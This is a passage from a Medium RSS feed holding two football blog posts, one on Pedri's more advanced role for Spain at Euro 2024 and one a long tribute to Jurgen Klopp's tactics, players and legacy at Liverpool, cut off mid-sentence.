            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDnVsMMIPAGlc5ckD1oY7Q.jpeg" /><figcaption>Pedri after scoring in a friendly against Northern Ireland | Photo Credit: AP</figcaption></figure><p>This is going to be a succinct post about something that recently caught my eye and that is Pedri’s role in the national team in the Euros which hasn’t been talked about enough.</p><p>Pedri who has been a key player for the La Roja since his breakthrough at Barcelona at a tender age of just 18 years, has often been compared to the likes of Xavi &amp; Iniesta due to the immense talent that he has on display. Despite being pretty young he has been an undisputed starter for club &amp; country when fit and after getting rid of his injuries he is finally back to his best, but something has changed and that is how Luis de La Fuente is using him differently on the pitch as opposed to Luis Enrique. Let’s take a closer look:</p><p><strong><em>According to statistics from Sofascore Pedri averaged around 120 touches per game in the 2022 World Cup, meanwhile in the Euros he has only averaged 39 touches per game so far. So what has changed?</em></strong></p><p>Mainly two things:</p><ol><li>First of all Spain’s style of play in the tournament has been very different from their usual self. Usually you would find Spain being patient in their build-up trying to play out from the back and moving the ball through lines of pressure to arrive in the final third. But this time round <strong>Spain have played a lot more direct </strong>especially to their wingers as they want them to generate more 1v1 chances on the flanks due to their sheer quality. There is a lot more to talk about Spain’s setup and I’ll write a detailed blog if they make it into the final stages of the tournament but for now I’ll limit this blog to Pedri’s role in the team.</li><li>Second and the more significant change is Pedri’s role under Luis de la Fuente, from the recent matches one can easily concur that Pedri is no longer involved in the build-up phases instead he operates between the lines as a <strong>hole player</strong>. Playing further up the pitch means that he is always looking to crash the box looking for a cutback from the wingers, and providing an additional goal threat. This also means that he is no longer looking to progress the ball in the midfield instead he is always looking to receive the ball on a half-turn and pinging through balls to their forwards.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*RCO3OkCVikhOoDVaNZ1s0w.png" /><figcaption>Pedri playing between the lines vs Italy</figcaption></figure><h4>Heatmaps</h4><p>The best way to display the difference is by using heatmaps where the darker regions indicate more touches on the left side, while you can easily see that Pedri has played a lot closer to the box in this tournament.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*ZPGqVDiWCoXKgS5mSh0YCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*DAYaAlW3KaXtf9eLPsbIFw.jpeg" /><figcaption>Pedri’s heavy involvement in the build-up phase in 2022 WC vs more box presence in Euro 2024</figcaption></figure><h3>The Upsides</h3><ul><li>The obvious upsides of playing Pedri higher up the pitch is that he arrives a lot more than before in the box and plays decisive combinations in the final third. He is not just a great shooter he also has an eye for a killer final pass to set up his teammates in clear goal scoring scenarios. In fact he has <strong>averaged more key passes and chance creation with his new role than he did under Luis Enrique</strong> despite seeing the ball way less than before.</li><li>Apart from this Pedri is known for his great football IQ and positioning to find pockets of space to exasperate the opponents. He has good tight space control and dribbling ability to weave through the final defensive line and take a shot. If needed he can come out of the structure and drop into midfield as he is also excellent at beating the press and technically adept to find an outlet to improve build-up against high pressing teams.</li></ul><h3>Downsides</h3><ul><li>Pedri has an exquisite passing range, <strong>one of his best skills is to play accurate long balls into the box</strong> from the deep to create chances. Also playing long diagonal balls to a winger to switch flanks after creating overload on one side of the pitch in attempt to try and break down a low-block. Since the departure of Busquets he fills that void perfectly by unlocking defenses from the deep with a single pass, but playing upfront means he can’t do it anymore.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*7au1zwmHtKa4WKIABt-Qyg.gif" /><figcaption>Pedri’s one of many accurate long balls vs Costa Rica (2022 WC)</figcaption></figure><ul><li>Not really a downside this one, but playing between the lines means that there may be games where Pedri has little to no influence over the midfield and he has to rely on Rodri and Fabian Ruiz to find him between the lines. So far Fabian Ruiz has been excellent for Spain and if he keeps up these performances this will rarely be a problem for Spain.</li></ul><h3>Luis de la Fuente’s comments on Pedri</h3><blockquote>“We have been very happy and because he is a very good player and he knows that I have confidence in him and he is going to give us very good things in this competition,”</blockquote><blockquote>“I have always talked about it from the point of view of the confidence he has to have. I said that ‘Pedri has to meet Pedri’, in the figurative sense of gaining confidence. The best version of Pedri we don’t know where he is, because he’s so good. We expect so much from him that it’s infinite.”</blockquote><blockquote>“It has to be the player who takes that step forward, as he has done, to be sure and confident to do the things that only he can do.”</blockquote><p>Though Pedri is a very dynamic player who is immaculate in every phase of the game, it will be very interesting to see how far Spain can progress in the Euros with his brilliance.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=761429133c83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[End of an Era: Jurgen Klopp]]></title>
            <link>https://medium.com/@nikhilc2209/end-of-an-era-jurgen-klopp-b55c8cc42249?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b55c8cc42249</guid>
            <category><![CDATA[football]]></category>
            <category><![CDATA[liverpool]]></category>
            <category><![CDATA[tactics]]></category>
            <category><![CDATA[storytelling]]></category>
            <category><![CDATA[premier-league]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Tue, 21 May 2024 16:09:47 GMT</pubDate>
            <atom:updated>2024-07-15T13:52:27.707Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t-hWMrYKCAigDIhsmlQaoA.png" /></figure><p>Before getting on with the blog I just want to mention that writing this piece took a long, long time, it was on my mind since Klopp announced his retirement so please even if you’re someone who isn’t really interested in Football try to stick around till the end and maybe you’ll learn something new. For the uninitiated Jurgen Klopp, one of world football’s greatest ever manager has announced his retirement after a 9-year stint at Liverpool and this article is basically a short tribute to honor his Liverpool journey, <strong>so strap in and enjoy my version of this beautiful story!</strong></p><h3>Intro</h3><p>The title of this blog was supposed to be “This is Anfield!” as if I’m slamming my desk being proven right with Darwin Nunez in the banner image celebrating after scoring a banger against Wolves in their final home game along with Klopp lifting the coveted Premier League trophy and the home fans serenading him by singing to “One Kiss” by Dua Lipa.</p><p>What a sight that would have been… but sigh I’m too old to daydream now and certainly don’t believe in fairytales any more. I’ve been watching football for a decent amount of time now and as an Indian it can be hard to keep up with the European leagues especially with the time constraints. I’ve sunk in ungodly amount of hours watching late-night fixtures, managers explain their dogma, players talking shit and much more, but if someone were to ask me what was the favorite moment that I witnessed this would definitely be up there:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fb5hjqSnliKk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Db5hjqSnliKk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fb5hjqSnliKk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1bc9df1aaab72252b1a3a84b4d1a22b8/href">https://medium.com/media/1bc9df1aaab72252b1a3a84b4d1a22b8/href</a></iframe><p>This is what legacy looks like, this is what victory sounds like, what passion feels like, the ambience, the aura of this resounding stadium is why we watch football, moments like these transcend the game itself and form perpetual memories for any supporter and this is exactly what Jurgen Klopp has earned <strong>Eternal Respect.</strong></p><h3>Inception</h3><p>Time to roll back the years and begin this article by going back to where it all started, <strong>Klopp’s arrival at Anfield in 2015/16.</strong> I honestly don’t remember this time, as I was not into football back then and I guess it would take a couple more years before I even started taking interest in football. After a horrid start to Borussia Dortmund’s 14/15 season which even saw them lurking around the drop zone at a point, <strong>Klopp announced in April that he’ll be leaving the club in the summer.</strong> On the other hand Liverpool also faced a disappointing start to their 15/16 season and had to sack Brendan Rodgers midseason, and just like that action met opportunity and the Liverpool management were somehow able to sign Klopp on a 3-year deal as he was officially announced a few days later.</p><h4>Introducing the “Normal One”</h4><p>Klopp’s first press conference was <strong>imbued with energy and hope,</strong> both of which were nowhere to be found in the Liverpool dressing room in the past one year. Where successful managers came in with inflated egos (Mourinho I’m looking at you 👀) with the promise that they will take their team to the apex, Klopp came in as a <strong>normal, humble guy</strong> with the hope that he’ll enjoy his work in England as much as he did in Germany and described himself as the <strong>“Normal One”</strong>. He said something which stuck by every Liverpool supporter and made them believe once again:</p><blockquote>It’s not so important what people think when you come in, it’s much more important what people think when you leave… and please give us the time to work on it.</blockquote><blockquote>I don’t wanna say we have to wait for the next 20 years… I know when I sit here in 4 years I think we would’ve won 1 title in that time, I’m pretty sure.</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FAz3ATsjCHpY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DAz3ATsjCHpY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FAz3ATsjCHpY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c7925e7af80fab60e77eae516620fdda/href">https://medium.com/media/c7925e7af80fab60e77eae516620fdda/href</a></iframe><h4>Building from scraps</h4><p>Even though Liverpool miraculously finished second in the league a couple of years ago, they were still lacking star players and a sense of belief that they can achieve something as a team. A lot of fans had lost hope in the team, the manager and the staff, and there was no sense of identity within the club, their public perception deteriorated over time and no rival club really saw them as a threat. A slight simmer of hope which fans clung on to also died after the departure of Suarez and Sterling in the coming seasons, which meant another awful start to the season before Klopp arrived and the bottom line was simply that this squad is nowhere near good enough to challenge for titles. The challenge here wasn’t just to manage a below-average side, it was also to induce a psychological shift among the players and fans that they can challenge for titles, this change in mentality as he described was to transform everyone around him from “Doubters to Believers”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*TdShkOi6STGAavXQPjAviA.png" /><figcaption>Klopp’s first playing XI at Liverpool</figcaption></figure><p>At this point it was simply a question of Pragmatism over his Footballing Philosophy or the other way around, and with Klopp’s first game in-charge he made sure his message was loud and clear, that there is only one way and that is his way. And even though he drew his first game away to Tottenham 0-0 he introduced his style of high intensity football as they covered more ground than they did before in the whole season.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/0*7X7iCis14vsdFzrk.png" /></figure><h3>Klopp’s Footballing Philosophy &amp; Style of Play</h3><p>I’ll just start with a quote from Ralf Rangnick about the importance of a coherent Footballing philosophy:</p><blockquote>What is the job of a Football Head Coach or Manager?…</blockquote><blockquote>To have a clear idea of how my team should play, this can be a bit of Pep Guardiola style or the Diego Simeone style, these are all variations where some coaches like more technical players while some prefer more intense, hardworking players. But what they all have in common is that they exactly know how this kind of football that they want to play, how it looks like… they have in their brains the video of the perfect game and the job of a football coach is to transform this idea into the heads, hearts, brains, veins of your players.</blockquote><p>For Jurgen Klopp his style of play is in a way a reflection of his own personality as he himself defined as “lively” and “entertaining”.</p><blockquote>Having memorable games in a row, that people really wanna see the next game, you leave the stadium and you can’t wait to see the next game and for me that is what football should be. And when you can do this very often you will be successful 100 percent.</blockquote><blockquote>- Jurgen Klopp</blockquote><h4>Style of Play: Orchestra vs The Heavy Metal</h4><p>This is one of the finest interviews from Jurgen Klopp from when he was in-charge at Borussia Dortmund, where he was asked to draw an analogy between his style of play and Arsene Wenger’s brand of football. This single most iconic line where he contrasts between the two by saying “His style of play is more like an orchestra, passing the ball, organized football… but I like the Heavy Metal more.”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQpv0QXZmq5A%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQpv0QXZmq5A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQpv0QXZmq5A%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/97abd96f358a7399538fb1caeb657912/href">https://medium.com/media/97abd96f358a7399538fb1caeb657912/href</a></iframe><p>“Heavy Metal Football” is a term that vividly captures his distinctive style of play, <strong>emphasizing intensity, energy, and relentless pressure.</strong> The goal is to create as many chances as possible through persistent counter-pressing to get hold of the ball as soon as you lose it.</p><h4>Gegenpressing &amp; Quick transitions</h4><p>Gegenpressing is a German term which loosely translates to Counter-Pressing which is an imperative part of Klopp’s philosophy. The idea is to press the opponent in numbers higher up the pitch and win the ball back in advanced areas to quickly create quality chances by catching the opposition off guard. But counter-pressing has been a staple part of the game since a very long time, so what makes Klopp’s Gegenpress so distinctive? The key idea of Klopp’s play style here is to disrupt the opponent build-up, force unnecessary errors from the opponent on the ball by quickly closing down on him in numbers so that he can’t find an outlet and eventually lose the ball.</p><p>This quote from Pep Lijnders (Liverpool’s Assistant Coach) really sums it up:</p><blockquote>Our idea of pressing is not to force them one way, not to force bad passes our idea of pressing is to steal the ball, to attack and to create chances.</blockquote><p>In this short clip below Jurgen Klopp himself articulates why he thinks “Gegenpressing is the best playmaker” and how winning the ball back in advanced positions means creating a good chance is just a matter of one key pass with his approach.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FXvHT3BJu7g4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DXvHT3BJu7g4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXvHT3BJu7g4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a4d4a6be4e8b9d62ad76a1baeb881b7f/href">https://medium.com/media/a4d4a6be4e8b9d62ad76a1baeb881b7f/href</a></iframe><p>Transitions are also a key part of Klopp’s philosophy which explains the various trade-off’s that are involved in this high risk, high reward approach. Every time you commit numbers forward trying to suffocate the opposition in their own half you run the risk of getting exposed by open spaces in your own half, so what player profiles fit Klopp’s system to minimize this risk and gain maximum reward? This question brings me to my next point…</p><h4>Klopp’s Player Profiles</h4><p>When thinking about the greatest teams of all times who were triumphant over long spells in football, we often picture World-class technical players who have the ability, the natural gift to be prolific consistently, to influence the game with their silky touches and play near-perfect passes with their immaculate vision. When thinking about midfield trios we often think of Xavi-Iniesta-Busquets or Modric-Kroos-Casemiro or even Pirlo-Seedorf-Gattuso(if you’re a boomer) but what if I tell you a midfield of Jordan Henderson, Gini Wijnaldum, Fabinho, James Milner, Alex-Oxalade Chamberlain and Naby Keita is enough to dominate football at its zenith by winning the Champions League and the Premier League, if someone told me this today I wouldn’t believe them either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gW9m_Bli81Kmf86W72-MkA.jpeg" /></figure><ul><li>This might seem odd at first because respectfully none of these players are really creative in the final third but all of them have something in common and that is their work rate, their aggression on the pitch, the intent to close down on opponents to win the ball back and that is exactly what Klopp prefers: <strong>Highly athletic and hardworking players over technical players </strong>who know how to execute his instructions, players who wear their hearts on their sleeves, players who are persistent pressing machines.</li><li>This is the reason why Energy and Intensity are the main Mantras of a Klopp team and this is what makes them so interesting to watch.</li></ul><blockquote>We ran through walls for him… and that was his very least demand, that you work, that you run for him, for the team. And there’s something about that makes you feel at ease as a player… if you give your best the rest kind of takes care of itself.</blockquote><blockquote>- Adam Lallana about Klopp</blockquote><h4>Embracing Chaos over Control</h4><p>Just like all the other top teams, the goal is to create an ample amount of chances in every game, but unlike other top teams Jurgen Klopp wasn’t very dogmatic with his approach, where others chose to play with control in high profile games <strong>Klopp embraced the unpredictability of football</strong> to disrupt their natural game plan.</p><p>In possession phases and in between transitions the unwavering game plan was to quickly get the ball higher up the pitch as fast as possible, which made them <strong>one of the most vertical teams in all of Europe.</strong> Even though the idea is pretty single-minded, there are a multitude of ways in which they achieve this: channel balls, through balls, long balls into the box, crosses from wide areas and even balls over the backline, the players were adept at providing service from every part of the field. And when you combine this with prolific forwards you get an everlasting supply of goals.</p><h4>Developing World Class Fullbacks</h4><p>Another key ingredient of Liverpool’s success comes from developing their world class fullbacks, where other teams rely on their creative players to play more centrally Klopp uses their <strong>fullbacks higher up the pitch as wide playmakers</strong> in the form of Trent-Alexander Arnold and Andrew Robertson. This is because the front-three in Klopp’s system is usually very narrow which enables the fullbacks to be brave and work the flanks higher up the pitch. And when these two are at their best, nobody can stop Liverpool from dominating games.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8S6fd0h2J4fZ8sn1cSbnQ.png" /><figcaption>Robertson and Trent pushing forward in possession whereas the front three is narrow</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*lT69oOvQ3jNwG9Ob_mAp7A.png" /><figcaption>Andy Robertson and TAA at top in the All Time PL Assists List by defenders.</figcaption></figure><p>If you look at both of their career trajectories none of them were world class players before, Andy Robertson came from Hull City who were relegated into the Championship the year prior to his signing and Trent was just an academy prospect from Liverpool, but both of them flourished under Klopp and formed the <strong>best fullback partnership in the modern era.</strong> In fact, Robbo wasn’t even signed as a first choice fullback for Liverpool, he was considered backup for Alberto Moreno who was their regular starter, but after being injured midway through the season, Robertson got his chance and he proved his mettle. From literally nothing he earned his spot in Liverpool’s first team with his work ethic and pressing intensity and in no time he became a menace on the left flank offensively, constantly swinging in crosses for the frontline, but was also smart and athletic enough to contribute defensively.</p><p>This is the reason why I always credit Klopp and his coaching staff on how they adapted their game to get the best out of these players.</p><h3>Incredible Man Manager</h3><p>We talked about intensity and work rate as the core principles of Klopp’s philosophy, but these things are so easy to talk about for someone watching from the sidelines, it is when you realize that some of the Liverpool players have to play around <strong>40–50 club games a season</strong> as well as tend to their international duties. With fixtures coming in thick and fast every week it is hard to give your best and to maintain the same energy levels in each game. So how does Klopp manage that?</p><blockquote>I try everything to be as successful as possible, I live 100% for the boys, with the boys and what we do for the club and all that stuff.</blockquote><p>Jurgen Klopp has time and again emphasized on building a healthy culture within the clubs he has managed, for him football is not just about tactics on a board, he has a much more <strong>emotional connect with the players</strong>, his coaching staff and even the people who work at the club. Forming strong interpersonal relationships with the players and giving them the tactical freedom on the pitch means the players wanted to work hard for him, he made them believe in a cause and wanted everyone to express themselves on the pitch.</p><h3>Welcome to Anfield, “It’s not over yet”</h3><p>Anfield has been the home of Liverpool FC for more than a century now and holds a lot of significance for any Scouser, it is way more than a football stadium, it is a <strong>cultural landmark</strong> in Liverpool and for Liverpool FC fans it is their identity. Anfield has also proven to be one of the most hostile atmospheres for any away team and produced a number of historical matches, players and coaches alike have always found it difficult to produce the same kind of performance at Anfield as the ambience is so <strong>“electric”</strong>, so <strong>“intimidating”</strong> it almost feels as if Liverpool have a twelfth player on the pitch and that is their fans.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FczrH5jfQSO4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DczrH5jfQSO4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FczrH5jfQSO4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/577aff030257df201ca014d3ba0c3481/href">https://medium.com/media/577aff030257df201ca014d3ba0c3481/href</a></iframe><p>I remember watching this episode and couldn’t help but think how frightening it looks from the perspective of the away players in and out of the stadium, the sight of <strong>60,000 fans singing to “You’ll Never Walk Alone”</strong> and chanting for their team in unison regardless of how they are performing, I guess this is why people always say “At Anfield nothing is impossible”. And for Jurgen Klopp this is all he needed as he said:</p><blockquote>The only reason I’m able to do my job is because the people show so much passion… I know I’m responsible for the performance, but the people are responsible for the atmosphere.</blockquote><blockquote>- Jurgen Klopp</blockquote><p>An absolute bonkers statistic about the influence of fans can be judged by the fact that since the start of the 2017/18 season, they’ve only lost two (Premier League) games at Anfield in front of fans (Leeds in October 22/23 &amp; Crystal Palace this season)</p><p>And without fans, they lost six consecutive league games at Anfield between January and March of 2021 (Burnley, Brighton, City, Everton, Chelsea and Fulham)! This is the biggest proof that fans have had a huge say alongside Klopp in making <strong>Anfield an impenetrable fortress</strong>.</p><h4>Unleashing Anfield’s true power</h4><p>Liverpool’s Champions League run of 2018/19 was one of the most miraculous campaigns I’ve ever witnessed in my time, the whole tournament in fact was marked with memorable moments from start to finish but as the dust settled there is that one match that stands tall and made every Scouser explode with joy, it is that <strong>Champions League semi-final night at Anfield against FC Barcelona which was one for the history books.</strong></p><p>As a Barca fan myself even thinking about this match evokes traumatic memories (no cap 🧢), whenever someone mentions the phrase “Corner taken quickly!” I’m reminded of that dreadful night at Anfield where Barca lost 4–0 despite having the upper hand in the first leg. I remember sleeping early that day thinking that we have a 3–0 lead and there’s no way we lose this game. And when I woke up I was greeted by the most insane comeback possible (moments like these made me question my loyalty as a Barca fan honestly 😂).</p><p>Barcelona who were firing on all cylinders having the likes of former Liverpool stars Coutinho and Suarez along with an equally star studded roster were looking threatening beyond compare. Though Liverpool were no slouch, it’s just that Barca had the world’s best player as Lionel Messi on their side who was also in red hot form and this matchup was hyped to the moon, and trust me it lived up to it.</p><p>I really don’t want to talk about this matchup though because it’s 4:30 A.M. as I’m writing this and I don’t want to cry 😢, but you can watch this video where Pep Lijnders breaks down how they made the impossible possible at Anfield:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzlwVZTtR0zQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzlwVZTtR0zQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FzlwVZTtR0zQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c6c16c0013a0e69de3cdfa874a4e7d8c/href">https://medium.com/media/c6c16c0013a0e69de3cdfa874a4e7d8c/href</a></iframe><h3>Transfer Strategy</h3><p>One of the most overlooked aspects of Liverpool’s resurgence under Klopp has been their transfer strategy throughout the years, it is when you know the context you understand why people love teams like Liverpool so much. Since his arrival in midway through 15/16<strong> he did not get the liberty to choose his own transfers or have a proper pre-season</strong>, the next year was going to be very crucial. But where rival teams like Man City and Man Utd. were splurging money on marquee signings from top European clubs, Liverpool <strong>relied on</strong> <strong>signings from mid-table/relegated teams</strong> and even free transfers, but even though these transfers were not met with a lot of hype they were needed to play Klopp’s heavy metal football. And not just that season it was a common theme for the Liverpool management that they weren’t really concerned with signing the best talent, but the emphasis was more on <strong>“nurturing talent”</strong>.</p><p>Sure they also made some high profile signings along the way, but they were better known for taking players from clubs who didn’t rate them very well, players like Andy Robertson, Alex-Oxalade Chamberlain and Mo Salah all of which were rejected at one point in their career were now thriving under Klopp’s main team. And Klopp once again proved that his decision-making is as astute as ever with Liverpool securing a <strong>Champions League spot in their second proper season</strong>, where a new front three announced themselves and Andy Robertson came to light as a world-class left back.</p><h4>Building a World Class Front Three</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rsk0HLjAtJCvJy5C" /></figure><p>We already talked about how Liverpool’s midfield worked hard throughout the game to regain possession and counter-attack quickly, but with any world-class team you need a lethal frontline to finish your chances as at the end of the day the aim of the game is to put the ball in the back of the net. And Liverpool built just that, with <strong>Mane, Salah and Firmino</strong> they probably had the most exciting front-three in the world. The fact that these three players took almost no time to adapt to each other’s game is living proof of why some things are just meant to be, having different attributes they complemented each other on their pitch really well and scored a plethora of goals under Klopp.</p><p>Bobby Firmino was the first one to arrive at Anfield in 2015 under Brendan Rodgers as an attacking midfielder and was instrumental for Liverpool in their 4–1 victory over Man City in Klopp’s first season, this match highlighted his <strong>ability to play upfront instead of Benteke as a false 9</strong> because of his linking ability and since then he’s only gone on to improve his game.</p><p>Sadio Mane was the next one to arrive a year later in 2016, he was signed from Southampton as the most expensive African player of his time and even though there were some doubts people knew he would fit right in Klopp’s system. Even though he was signed as a right winger he quickly found his place on the left side of the pitch and in coming years he also played as an <strong>inside forward which favors his stronger right foot</strong>, this ability to adapt over the years and still produce massive numbers made him an all-round player. His world class performances have also contributed to one of the best fan memes 😅 of all time linked below:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2_O5YHX4urE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2_O5YHX4urE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F2_O5YHX4urE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6b4001136fe83296af4e0a4047ce65bf/href">https://medium.com/media/6b4001136fe83296af4e0a4047ce65bf/href</a></iframe><p>I saved the best for the last, as the next one to arrive in 2017 was Liverpool’s club record signing at that time, it was the <strong>Egyptian King Mo Salah</strong> and in his opening season he took the whole world by storm. His first season saw him obliterating doubters if there were any, as he scored 44 goals and registered 15 assists across all competitions, won the PL golden boot and broke so many records with every game he played that season that I can’t even write it here, so I’ll just link it down.</p><p><a href="https://www.espn.in/football/story/_/id/37493125/mohamed-salah-record-breaking-first-season-liverpool">Salah&#39;s record-breaking first season</a></p><p>His amazing performances enabled Liverpool to reach the CL final where they eventually lost to Real Madrid, but his effort didn’t go unnoticed as he registered himself as one of the best wingers to grace the Premier league.</p><p>The most amazing revelation about this front three was from Ralf Rangnick who had this to say:</p><blockquote>Let’s just have a close look at the their(Liverpool) three strikers, they have Salah, Firmino and Mane… three of them from three different countries and all three of them… two of them I had myself (Firmino and Mane), I can tell you all three of them including Mo Salah were <strong>not natural born ball winners when they came to Liverpool.</strong> They were not the kind of players that people think are “Wow! they pressing machines” no.</blockquote><blockquote>So all the things that happened at Liverpool was the job of the coach and their staff, they way they played in the last 3–4 years on that high level, this intense kind of football shows you what is possible and what can happen if a coach with a mindset and a clear idea of how his team should play.</blockquote><h3>Fan Favourite</h3><blockquote>Being a Liverpool manager, it’s a hard gig isn’t it, because you have to be the best manager in the most competitive league possible and then the extra bit in Liverpool is that you have to be a man of the people.</blockquote><blockquote>- A Liverpool fan (The Anfield Wrap)</blockquote><p>Apart from his managerial ideas Klopp made a name for himself mostly due to his <strong>character and personality</strong>, everywhere he worked people were in awe of his <strong>infectious positivity</strong> and his boundless passion for the game. He single-handedly won over every fan and turned the atmosphere from nervy to optimistic with his congenial smile regardless of the game’s outcome which makes me think he actually has the best set of teeth I’ve ever seen 😅.</p><p>I’ve been watching football for a decent amount of time now and even though I’ve seen more triumphant teams like Man City &amp; Real Madrid, I know that <strong>Liverpool is the most entertaining football</strong> team I’ve witnessed without a shadow of a doubt. In victory and defeat alike they are known to have the most riveting players who give 100% for the manager and for the club. After every game at Anfield he was either seen doing <strong>fist pumps</strong> when they won or <strong>clapping the fans</strong> for their unconditional support when they lost.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FXayT2yw7dtY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DXayT2yw7dtY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXayT2yw7dtY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/24f2608604716099a6c4f15e63f43bf6/href">https://medium.com/media/24f2608604716099a6c4f15e63f43bf6/href</a></iframe><p>As I mentioned Klopp’s presence does not end on the field or after the match, he was very emotionally invested in the culture of each club and it’s people around the city. This is evident by the fact that <strong>he received huge farewells</strong> from all the clubs he managed including <strong>Mainz, Dortmund and now Liverpool.</strong> All of them were very emotional and heartbreaking for the fans which shows that the work he did will never be forgotten. Also on the the 3rd of November 2022 Klopp was officially awarded the Freedom of the City of Liverpool! which is the highest civic honor bestowed by Liverpool’s mayor and this is what he had to say:</p><blockquote>I think he means more than a football manager to the city because one of my jobs is to try to attract people to come here and invest and many people who I’ve met in the office next door they wanna talk about Jurgen Klopp.</blockquote><blockquote>I think <strong>he epitomizes the best qualities of this place</strong>, even though he’s not from here… he’s an honorary scouser by the way. The same values and principles that are very much part of the Liverpudlian identity are also Jurgen Klopp’s bedrock.</blockquote><h3>Greatest Modern Day Rivalry</h3><p>Like every other great tale, the protagonist needs a proficient villain(metaphorically) someone who can match you for every blow and pushes you to become the best version of yourself. In football many people like to equate this analogy with <strong>Messi and Ronaldo</strong>, but in managerial terms this analogy also fits perfectly between <strong>Jurgen Klopp and Pep Guardiola</strong> who have been fierce rivals for as long as I can remember.</p><h4>Control vs Chaos</h4><p>Locked in an intense rivalry since their Bundesliga days, this battle was again rejuvenated as <strong>Liverpool and Man City were always the top contenders in the Premier League.</strong> What fascinates me the most is how contrasting their footballing ideologies are, on one hand Guardiola prefers to control games through high possession, organized football using <strong>technical players</strong> and on the other hand Klopp favors a more direct approach with more vertical passes, constant pressure to steal the ball back using <strong>highly athletic players</strong>. Even though the core idea is to create as many chances as possible, the way they implement it using different player profiles is amazing to watch, regardless of what kind of football you prefer to watch you can’t deny they are definitely the greatest modern day managers to exist.</p><p>In terms of H2H record Pep &amp; Klopp have met 30 